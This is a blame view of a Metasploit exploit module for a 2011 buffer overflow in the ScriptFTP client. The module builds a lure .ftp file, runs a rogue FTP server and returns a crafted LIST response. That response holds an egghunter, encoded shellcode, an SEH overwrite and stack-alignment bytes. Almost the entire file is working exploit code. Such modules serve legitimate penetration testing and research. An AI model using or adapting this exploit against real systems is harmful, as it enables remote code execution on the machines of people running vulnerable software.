Files
metasploit-gs/modules/exploits/windows/ftp/scriptftp_list.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

176 lines
5.5 KiB
Ruby
Raw Normal View History

2011-10-09 04:17:03 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2011-10-09 04:17:03 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2011-10-09 04:17:03 +00:00
Rank = GoodRanking
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
include Msf::Exploit::Remote::FtpServer
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Egghunter
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'ScriptFTP LIST Remote Buffer Overflow',
'Description' => %q{
AmmSoft's ScriptFTP client is susceptible to a remote buffer overflow
vulnerability that is triggered when processing a sufficiently long
filename during a FTP LIST command resulting in overwriting the
exception handler. Social engineering of executing a specially crafted
ftp file by double click will result in connecting to our malicious
server and perform arbitrary code execution which allows the attacker to
gain the same rights as the user running ScriptFTP. This vulnerability
affects versions 3.3 and earlier.
},
'License' => MSF_LICENSE,
'Author' => [
'modpr0be', # Vulnerability discovery and original exploit
2011-10-09 04:17:03 +00:00
'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
'mr_me <steventhomasseeley[at]gmail.com>', # Metasploit module
],
2025-06-20 13:20:44 +01:00
'References' => [
2011-10-09 22:56:17 +00:00
[ 'CVE', '2011-3976' ],
[ 'OSVDB', '75633' ],
2012-10-23 21:02:09 +02:00
[ 'EDB', '17876' ],
2012-12-13 14:19:53 -06:00
[ 'US-CERT-VU', '440219' ]
2011-10-09 04:17:03 +00:00
],
2025-06-20 13:20:44 +01:00
'DefaultOptions' => {
2011-10-09 04:17:03 +00:00
'EXITFUNC' => 'thread',
2020-01-14 20:47:27 -05:00
'DisablePayloadHandler' => false
2011-10-09 04:17:03 +00:00
},
2025-06-20 13:20:44 +01:00
'Payload' => {
'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'EDI', # Egghunter jmp edi
}
2011-10-09 04:17:03 +00:00
},
2025-06-20 13:20:44 +01:00
'Platform' => 'win',
'Targets' => [
2011-10-09 04:17:03 +00:00
# CALL DWORD PTR SS:[EBP-4]
# scriptftp.exe - File version=Build 3/9/2009
[ 'Windows XP SP3 / Windows Vista', { 'Offset' => 1746, 'Ret' => "\xd6\x41" } ],
2011-10-09 04:17:03 +00:00
],
2025-06-20 13:20:44 +01:00
'Privileged' => false,
'DisclosureDate' => '2011-10-12',
'DefaultTarget' => 0,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
register_options(
2011-10-09 04:17:03 +00:00
[
2025-06-20 13:20:44 +01:00
OptString.new('FILENAME', [ true, 'The file name.', 'msf.ftp']),
]
)
2011-10-09 04:17:03 +00:00
end
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
def setup
if datastore['SRVHOST'] == '0.0.0.0'
lhost = Rex::Socket.source_address('50.50.50.50')
else
lhost = datastore['SRVHOST']
end
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
ftp_file = "OPENHOST('#{lhost}','ftp','ftp')\r\n"
ftp_file << "SETPASSIVE(ENABLED)\r\n"
ftp_file << "GETLIST($list,REMOTE_FILES)\r\n"
ftp_file << "CLOSEHOST\r\n"
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
print_status("Creating '#{datastore['FILENAME']}'...")
file_create(ftp_file)
super
end
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
def on_client_unknown_command(c, cmd, arg)
2011-10-09 04:17:03 +00:00
c.put("200 OK\r\n")
end
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
def on_client_command_list(c, arg)
2011-10-09 04:17:03 +00:00
conn = establish_data_connection(c)
2025-06-20 13:20:44 +01:00
if (not conn)
2011-10-09 04:17:03 +00:00
c.put("425 Can't build data connection\r\n")
return
end
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
print_status(" - Data connection set up")
code = 150
c.put("#{code} Here comes the directory listing.\r\n")
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
code = 226
c.put("#{code} Directory send ok.\r\n")
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
eggoptions =
2025-06-20 13:20:44 +01:00
{
:checksum => false,
:eggtag => 'cure'
}
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
# Encode with alphamixed, then unicode mixed
[ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|
enc = framework.encoders.create(name)
if name =~ /unicode/
# aligned to ESP & EAX
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })
else
enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })
end
# NOTE: we already eliminated badchars
hunter = enc.encode(hunter, nil, nil, platform)
2025-06-20 13:20:44 +01:00
if name =~ /alpha/
# insert getpc_stub & align EDX, unicode encoder friendly.
# Hardcoded stub is not an issue here because it gets encoded anyway
2011-10-09 04:17:03 +00:00
getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
hunter = getpc_stub + hunter
end
}
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
unicode_nop = "\x6d" # DD BYTE PTR DS:[ECX],AL
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
nseh = "\x61" << unicode_nop
seh = target.ret
2013-08-30 16:28:54 -05:00
2025-06-20 13:20:44 +01:00
alignment = "\x54" # PUSH ESP
2011-10-09 04:17:03 +00:00
alignment << unicode_nop
2025-06-20 13:20:44 +01:00
alignment << "\x58" # POP EAX
2011-10-09 04:17:03 +00:00
alignment << unicode_nop
alignment << "\x05\x12\x11" # ADD EAX,11001200
alignment << unicode_nop
alignment << "\x2d\x01\x01" # SUB EAX,1000100
alignment << unicode_nop
alignment << "\x2d\x01\x10" # SUB EAX,10000100
alignment << unicode_nop
alignment << "\x50" # PUSH EAX
alignment << unicode_nop
alignment << "\xc3" # RETN
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
buffer = rand_text_alpha(656)
buffer << hunter
2025-06-20 13:20:44 +01:00
buffer << rand_text_alpha(target['Offset'] - buffer.length)
2011-10-09 04:17:03 +00:00
buffer << nseh
buffer << seh
buffer << alignment
buffer << rand_text_alpha(500)
buffer << egg
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
print_status(" - Sending directory list via data connection")
2025-06-20 13:20:44 +01:00
dirlist = "-rwxr-xr-x 5 ftpuser ftpusers 512 Jul 26 2001 #{buffer}.txt\r\n"
2011-10-09 04:17:03 +00:00
dirlist << " 5 ftpuser ftpusers 512 Jul 26 2001 A\r\n"
dirlist << "rwxr-xr-x 5 ftpuser ftpusers 512 Jul 26 2001 #{buffer}.txt\r\n"
2013-08-30 16:28:54 -05:00
2011-10-09 04:17:03 +00:00
conn.put(dirlist)
conn.close
return
end
end